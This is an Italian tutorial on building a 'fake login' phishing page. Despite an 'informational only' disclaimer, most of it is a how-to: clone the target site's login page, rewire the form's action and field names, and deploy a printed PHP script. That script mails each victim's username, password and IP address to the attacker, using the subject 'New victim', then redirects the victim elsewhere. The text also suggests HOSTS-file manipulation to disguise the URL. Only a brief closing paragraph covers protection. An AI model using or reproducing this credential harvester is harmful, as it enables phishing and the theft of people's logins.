Fake Login

Innanzitutto partiamo dicendo che questo articolo è a solo scopo informativo per far aprire gli occhi alla gente e per mostrare effettivamente il rischio a cui siamo esposti ogni giorno. Ogni atto illegale intrapreso sulla base di quanto letto e appreso è punibile secondo la legge, pensateci su.

Per apprendere questa tecnica è necessario conoscere l’HTML, pluridiscusso linguaggio di markup, e di PHP un linguaggio server side dinamico per applicazioni web, trattato più volte su questo sito.

 

Come funziona?

 
E’ una tecnica molto comune ma di grande effetto! impiegata anche in concomitanza con gli attacchi di phishing. Infatti con un minimo di intuito capirete che la si può applicare su qualsiasi sito internet. E’ importante sapere che non agisce a livello server, ma necessita un’interazione con l’utente.

Questa tecnica è comunemente chiamate Fake Login, e così come ci suggerisce la traduzione italiana sta per “Falso Login”, all’utente ignaro, appare una pagina UGUALE a quella originaria di login, con la sola eccezione che l’URL in alto, è diversa. (Ovviamente è possibile ovviare anche a questo problema se ad esempio il file HOSTS del nostro OS è stato manipolato). Il Fake Login rappresenta la base per attacchi Phishing o di Tabnabbing.

 

Cosa è necessario?

 
Per mettere in atto un fake login, è necessario:

– Un sito web, dovrà contenere le pagine che compongono il fake login.

– Conoscenze di HTML e PHP. Senza di questo, non si riuscirà a capire ciò che stiamo per spiegare.

– Il codice HTML/CSS/JAVASCRIPT con le relative immagini, del sito che si vuole impersonare. (un minimo di ingegno e saprete come ottenerlo, dopo, vi basta cambiare il parametro action del form html che invia i dati in “processing.php”, e cambiare in “username” e “password” il nome dei rispettivi campi di input testuali.)

– Il codice PHP che ci permetta di inviare i dati ricevuti dal form del login ad una casella di posta, o direttamente salvarli in un file:

<?php
//file processing.php
//recuperiamo i valori inseriti negli input html del form
$user = $_POST['username'];
$pass = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$message = "I dati ricevuti da $ip qui di seguito, username: $user e password: $pass";
//inviamo i dati per mail alla nostra mail
mail('[email protected]', 'New victim', $message);
//reindirizziamo l'utente su un altro sito
header("Location: http://www.sitoweb.com");
?>

 

Come proteggersi?

 
Per proteggersi da un fake login si richiede soltanto un pizzico di buon senso. Quando aprite un sito web, da qualsiasi parte. Verificate, sempre attentamente, l’URL. Il dominio coincide con quello che vi aspettavate? Il sito è navigabile in tutte le sue parti?

Soltanto in questo modo avete la certezza di scongiurare questo tipo di attacchi. I browser integrano moduli per la segnalazione di tentativi di Phishing, ma non sempre risultano efficaci come dovrebbero. Occhi aperti.

Torna all'inizio